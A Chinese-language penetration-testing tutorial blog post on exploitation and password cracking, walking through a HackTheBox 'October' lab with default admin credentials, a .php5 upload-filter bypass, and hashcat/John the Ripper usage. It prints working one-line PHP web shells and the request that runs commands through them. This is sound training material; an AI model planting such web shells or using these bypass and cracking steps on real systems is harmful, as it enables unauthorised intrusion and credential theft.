滲透測試重新打底(4)--Exploitation初介紹與密碼爆破


Posted by kahatrix on 2023-09-22

Exploitation

下一個是Exploitation這一個主題,先來做一個簡介。

我們會問為什麼軟體的版本會一再的更新,那當然除了推出新的 Feature 以及修 Bug 之外,補足漏洞也是一個很重要的原因。那新的漏洞他會被黑產開發商不停的挖出來,站在開發者的角度只能一再的修補。但是這邊會有一個問題,如果不停的太快的更新你的軟體版本,使用者不一定也會乖乖跟著更新,因為常常更新的話很多東西他可能會有問題,搞不好一更新原本的東西不能用了,使用者並喜歡太快更新這個軟體的版本,一方面怕軟體出錯,也怕說他更新到是有惡意的軟體。

比如說水電廠好了,他們的軟體應該不會是隨時的更新,通常都會是過很久很久才會更新一次,如果他們的作業系統或他們用的軟體有任何的漏洞,其實都是一件很恐怖的事情。反過來說站在攻擊者的立場,不被更新的軟體其實是一件很棒的事情,所以如果你能夠看到目標上面有跑著已知這邊注意,是已知,已知漏洞的軟體版本,如果很幸運的有公開的POC,攻擊起來的話其實會是相當容易的。

這邊簡單說一下CVE是什麼。CVE他的全名叫Common Vulnerability and Exposures,就是常見的漏洞揭露,可以把它想成是一個儲存資安弱點的資料庫,提供大眾來查詢,也方便我們這種資安人士在討論漏洞的時候直接去refer。CVE的規格可以看到我這邊列了一個CVE,然後有一個年份並且後面帶了四個數字。數字可能不只四個,可能是五個或以上,常見的可能是四個或五個比較常見。

接下來要講攻擊的思路。攻擊並不僅僅是拿Shell這麼簡單,Exploitation這一個範疇可以把它想成在做Enumeration、Exploit 或者是提權都非常的實用。比如說以前很常出現的像是Dirty Cow這一個針對Linux作業系統的漏洞,他的確也是一個Exploit,但他是針對提權所做的一個攻擊。我們也可以像剛剛提到針對已知目標軟體的有漏洞的版本像是Proxy Logon這個Exchange Server的漏洞,這兩個是可能會要跑這種POC,要跑程式,然後去攻擊可能是Local或是遠端的Server。遇到一個登入介面,我們可以嘗試去看一下他有沒有預設使用者,常見default的Admin Password,這是一個方法。我們可以比如說去論壇去查,或者是說我們可以去Github上面看一下這一個Application有沒有把自己的Source Code給釋放出來,也是一個常見的思路。

有了CVE的概念之後,尋找漏洞時下關鍵字就會很簡單。我們可以打CVE,然後我們可能目標的名稱,以及他的版本。藉由這樣子的搜尋方式,去研究一下這個目標的版本有沒有已知的漏洞,這邊注意是已知。如果你要開採未知的漏洞那又是另一回事,可能是你在打Lab的時候,去看說有沒有這種比如說File Upload,或者是任何的RCE。

好,我們第一個要講的Exploitation的方法,就是利用這種已知漏洞的思路。我們會提供一些資源,然後來針對已知漏洞做攻擊。第一個我們要講的大家可能也很常見,像是searchsploit或是ExploitDB,這兩個工具都是Offsec在維護,基本上是一樣的,只是searchsploit是內建在Kali Linux,可以直接在Offline讓你去搜尋,那ExploitDB是線上版,裡面收集了大量已知漏洞的PoC。基本上每個Exploit都會配上他自己的ID,所以用起來很方便。這個ID其實跟你在searchsploit上面是完全一樣的,你在這上面看到什麼東西,在searchsploit上面也會看到一樣的。

searchsploit的用法,你可以直接代你想要的關鍵字,比如說我這邊想要做WordPress,那searchsploit wordpress就會出現所有跟WordPress有關的漏洞。如果你覺得你想要更新一下的話,那他的語法就是一個-u,然後他就會做Update:

這邊會帶一個Lab,用HackTheBox的October這個機器。IP是10.10.10.16,進去之後應該會看到這個October CMS(Content Management System)。

當你看到這個CMS的時候,當然可以做Web Directory的search,像是用GoBuster或是DirBuster,但是有更簡單的方法。比如說October CMS,我們可以下這樣的關鍵字October CMS access,可能就會看到說有人有一樣的問題,說我們要怎麼樣進入他的Backend:

所以Google Search還是一個蠻有用的方法,那這邊就會有人問說你要怎麼進入後台,那這邊也會有人告訴你直接打這個/backend就可以進去了:

aaa我們就可以利用這樣的一個思路,去尋找我們的目標要怎麼樣進行下一步。比如說我這邊就照他的說法:

http://10.10.10.16/backend/

可以看到他這個URL有跳成sign in,成功進入了這個登入的介面:

當然有時候你可以用GoBuster做這種Directory的爆破,那如果真的一時之間沒有辦法找到的話,也可以兩個雙管齊下,就是一邊做GoBuster,一邊去Google看看,有沒有辦法找到他的Login。

這邊遇到一組登入的介面。給大家一點思路,第一個我們當然是先Google看看他的登入帳戶是什麼,第二個我們可以在這個網站稍微看一下有沒有什麼跟任何使用者相關的資料,比如說可能常常會看到以admin發佈的文章,這樣子我們可以先首先確定這個網站有admin的帳號

第一個,先確定有使用者,比如說admin或是任何其他可能是高權限的使用者;第二個,確定使用者的話,可以用像是SQL injection,或者是有任何像是File read,例如剛剛提到這個cisco ASA,如果能夠read到一些Config檔案,是不是也有可能把密碼以明文儲存在一個這種Config的形式。再來,我們可以看看OctoberCMS這一個目標的Service有沒有存在RCE漏洞。

所以你遇到了一個Lab,然後不知道登入介面的帳號密碼,第一個我們先Google看看,有沒有什麼預設的帳號密碼;第二個,可以在網站上面看一下有沒有已知的使用者名稱,像是administrator或者是admin;第三個,可以嘗試做Web application attack(像是SQL injection或者是File read),也可以嘗試看看最好用的RCE這樣的漏洞。

我們首先用方法一,我們直接看看有沒有針對他的這個Login password,可以直接打default password、default login都可以,那這邊第一篇就會告訴你答案是admin:

我們可以直接拿這個來登入看看,那也的確是能夠成功的:

目前為止我們用了public的search,像這種Google searching,找到了他的Login。我們可以稍微看一下他有怎麼樣的功能,但如果說你一時半會找不到的話,你可以透過像是searchsploit這樣的工具去找找看October CMS他有沒有已知的漏洞。如果你找不到已知的漏洞,再去一個一個去慢慢翻,看有沒有像是這種像剛剛提到Jenkins這種console的功能。

┌──(kali㉿kali)-[~]
└─$ searchsploit october cms
------------------------------------------------------------------------------ ---------------------------------
 Exploit Title                                                                |  Path
------------------------------------------------------------------------------ ---------------------------------
October CMS - Upload Protection Bypass Code Execution (Metasploit)            | php/remote/47376.rb
October CMS 1.0.412 - Multiple Vulnerabilities                                | php/webapps/41936.txt
October CMS < 1.0.431 - Cross-Site Scripting                                  | php/webapps/44144.txt
October CMS Build 465 - Arbitrary File Read Exploit (Authenticated)           | php/webapps/49045.sh
October CMS User Plugin 1.4.5 - Persistent Cross-Site Scripting               | php/webapps/44546.txt
OctoberCMS 1.0.425 (Build 425) - Cross-Site Scripting                         | php/webapps/42978.txt
OctoberCMS 1.0.426 (Build 426) - Cross-Site Request Forgery                   | php/webapps/43106.txt
------------------------------------------------------------------------------ ---------------------------------
Shellcodes: No Results

可以看到他這邊列出來大概有七個結果,這個時候我們可能要稍微選擇一下,因為不是每一個都可以用。那這邊給大家一個思路,像針對這種一個service但是出現多個漏洞的狀況,第一個我們可以看一下版本,這邊都會告訴你說這個是針對October CMS哪一個版本的漏洞。那第二個是我們可以排除一些像是cross-site scripting、click-hijacking或者是CSRF這樣的漏洞的形式,這大概都不會是我們所要的。當然如果是multiple vulnerability的話,可能要稍微看一下。

看的方法也很簡單,他這邊在path的地方告訴你說這個漏洞POC ID是41936,那我們就可以把這個丟到exploit DB去看一下,原則上就會對應到一樣的漏洞ID,這裡面他會告訴你說他是怎麼樣的漏洞。

在這一個的話有個upload protection bypass,那這一個他基本上是今天所提到的file upload。這是一個非常好用的東西,他這邊給你看了source code,他說我要block extension,就是我不要這些extension的檔案被upload:PHP, PHP3, PHP4以及PHTML,但是PHP5他就沒有提到,所以我們就可以利用把檔案名稱設為PHP5,可以成功的做upload:

那我們要upload什麼呢? 這個地方他就是直接upload一個一個很簡單的web shell (sh.php5),他就是你提供一個request,然後做command execution,然後他會output出來。我們自己編輯一個sh.php5,內容如下:

<?php $_REQUEST['x']($_REQUEST['c']);

補充一下,當我們看到一個POC的時候,他有時候會告訴你說他的漏洞的URL path。但是有時候他可能會是有變動,所以大家有時候先測試一下說這個URL或者是這個任何的參數是不是跟POC有不一樣,隨時都要改一下,不要他寫什麼你就照做。如果說今天這個POC沒有出現,我們可以使用像是GoBuster或者是手動瀏覽一下,東點西點注意一下他的URL有沒有長得跟POC很像

Code can be execute by making a following request:
http://victim.site/storage/app/media/sh.php5?x=system&c=pwd

上面是exploit-db給出的url,可以知道應該會在media裡面:

我們可以看到這個Media裡面我們可以上傳,他這邊也已經有個DR.PHP5,不管他,我們就上傳我們自己的。

可以順利重現POC:

shell也可以寫成這樣:

<?php system($_REQUEST['cmd']); ?>

這樣網址就可以再簡化: (TODO: reverse shell)

http://10.10.10.16/storage/app/media/sh.php5?cmd=pwd

這邊給大家一點小Hint。寫這個Web Shell的時候盡量用這種Request會比較好用,因為他可以同時接受Get或Post。那如果你有時候用Get的話,目標Server的Encoding的關係,可能會導致你的Reverse Shell或者是你的Payload會導致他不Work。簡單來說,這個地方你盡量放Request,可以同時接受Get跟Post會比較好,成功率比較高。特別是這種Payload很長,有時候很容易Payload就Break掉了。

給大家一點小結論。可以看到雖然今天講的主題是Exploitation,但是我們並沒有漏掉任何一個Enumeration,我們還是做了很多的枚舉,確定了我們的目標以及他的漏洞,然後我們才真正的發起Exploit。所以這邊再呼籲一下Enumeration一直都是我個人認為是PT中最重要的步驟,要確保你收集到了足夠的資訊,才能做今天所提的Exploitation。在October CMS這個HTTP題目,我們也是做足了功課,包括去找登入的帳號密碼是admin、用searchsploit找出他的漏洞是怎麼樣形成、怎麼樣去攻擊。

Password Cracking

下一個要講的是Password Cracking,就是密碼爆破。你一定要有找到一些比如說像是Hash的這種資料,因為這種Web server常常會用Hash的方法來儲存Password。如果說加上了salt,破解起來更是困難。那salt的概念是什麼,這邊跟大家簡單解釋一下。

很多人的密碼都會是很簡單的Password,123456之類的。Web server會收到很多一樣的Hash,如果有一天被攻擊者給攻破了,他一去撈我的這個Hash table,他可能會撈到很多個一樣的Hash,他就可以猜測這個Hash是不是大家很常用的密碼,像是Password、Admin、123456等等。為了不要讓這件事情發生,所以才會有salt這個概念。

它的實作方法我舉個例子,可能不是真的這樣做的。如果你今天在註冊一個帳號的時候,你的密碼是Password,它可能會在Create你這個Specific這個User的時候,會在你Password後面加一串東西,這一串東西是你獨有的,可能它會根據你的帳號或者是你的任何的能夠驗證是你的這種資料,把它加在你原本所設定Password字串的後面,然後再去取Hash。

那如果說我今天要登入,那它會根據你的這個登入資料去撈,用一樣的演算法、一樣的方法去還原你登入的時候輸入的密碼,還有你個人的資料加起來的這一串文字然後去取Hash,會不會跟我資料庫裡面已經存起來的Hash值一樣。salt存在的目的就是不要讓我的Database有太多一樣的Password Hash。

我拿到一個Hash要來做破解,那第一個要先判斷一下這個Hash它是哪一種演算法的Hash所弄出來的資料。那我們可以利用一個工具,Hash-Identifier,來辨識我們這一串Hash會是使用了什麼樣的演算法。

你在做破解的時候,除了你要有一套工具像是HashCat、John the Ripper以外,你還會需要一個字典檔。Kali Linux也提供了一個字典檔叫rockyou。除了rockyou之外,Kali也提供了像是Dirb裡面也會有很多的字典檔,像是:

┌──(kali㉿kali)-[/usr/share/wordlists/dirb]
└─$ ls
big.txt     common.txt   extensions_common.txt  mutations_common.txt  small.txt    stress
catala.txt  euskera.txt  indexes.txt            others                spanish.txt  vulns

下一個要介紹的就是工具。那在這邊我會介紹兩個,一個是HashCat,一個是john the Ripper。最後我還會介紹一個Online版本的工具,CrackStation。

首先來看一下HashCat。它的指令還蠻複雜的,因為它支援很多不同的Hash做破解,那它不支援自動辨識,你要自己輸入加密類型。-a是它的Mode,-a的話就是破解模式,然後再來是-m,就是剛剛所提到它是哪一種Hash,比如說1400好像就是sha-256。

hashcat -a 0 -m 1400 example.hash password.list

它也有一個Wiki,會給你範例說你這個Hash應該長什麼樣子:

Hashcat hash types - https://hashcat.net/wiki/doku.php?id=example_hashes · GitHub

範例:
Hash: e7d3685715939842749cc27b38d0ccb9706d4d14a5304ef9eee093780eab5df9

$ sudo hashcat -a 0 -m 1400 hash.txt password.txt                                                                                                                            255 ⨯
hashcat (v6.1.1) starting...

OpenCL API (OpenCL 1.2 pocl 1.6, None+Asserts, LLVM 9.0.1, RELOC, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
=============================================================================================================================
* Device #1: pthread-Intel(R) Core(TM) i7-9750H CPU @ 2.60GHz, 2884/2948 MB (1024 MB allocatable), 4MCU

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256

Hashes: 2 digests; 2 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1

Applicable optimizers applied:
* Zero-Byte
* Early-Skip
* Not-Salted
* Not-Iterated
* Single-Salt
* Raw-Hash

...

Dictionary cache built:
* Filename..: password.txt
... 

e7d3685715939842749cc27b38d0ccb9706d4d14a5304ef9eee093780eab5df9:hacker

Session..........: hashcat
Status...........: Cracked
Hash.Name........: SHA2-256
Hash.Target......: hash.txt
...

status出現Exhausted,就是代表跑完了所有的字典但並沒有Match。

還想補充一個東西,是HashCat可以搭配一些規則,我可以定義一個rule,在每個密碼的最後面都要加一個比如說123,比如說你字典第一個是Password,加了這個rule,他就會測試Password跟Password123。那有一個特別有名的Rule,One Rule to Rule them All。

這個Rule非常的又臭又長,基本上就是涵蓋了絕大部分的Raw的方法,就寫在這個裡面。

hashcat --stdout -r 123.rule -r abc.rule wordlist

JohnTheRipper有時候他會支援自動辨識,自己判斷說這個Hash他是怎麼樣的Mode,不過有時候會失敗,所以我個人還是建議加一下。

$ john --wordlist=password.txt --format=raw-sha256 hash.txt 

Using default input encoding: UTF-8
Loaded 2 password hashes with no different salts (Raw-SHA256 [SHA256 256/256 AVX2 8x])
Remaining 1 password hash
Warning: poor OpenMP scalability for this hash type, consider --fork=4
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Warning: Only 2 candidates left, minimum 32 needed for performance.
hacker           (?)
1g 0:00:00:00 DONE (2021-10-17 07:34) 100.0g/s 200.0p/s 200.0c/s 200.0C/s 0xdf..hacker
Use the "--show --format=Raw-SHA256" options to display all of the cracked passwords reliably
Session completed

也支援自動辨識演算法

有線上網站像是CrackStation也提供密碼暴力破解的功能

https://crackstation.net/










Related Posts

 【JS幼幼班】Step.02 寫下你人生中第一個 JavaScript 吧

【JS幼幼班】Step.02 寫下你人生中第一個 JavaScript 吧

部署: AWS EC2 + LAMP + phpmyadmin + Filezilla

部署: AWS EC2 + LAMP + phpmyadmin + Filezilla

Day 5 - Flex Panels Image Gallery

Day 5 - Flex Panels Image Gallery


Comments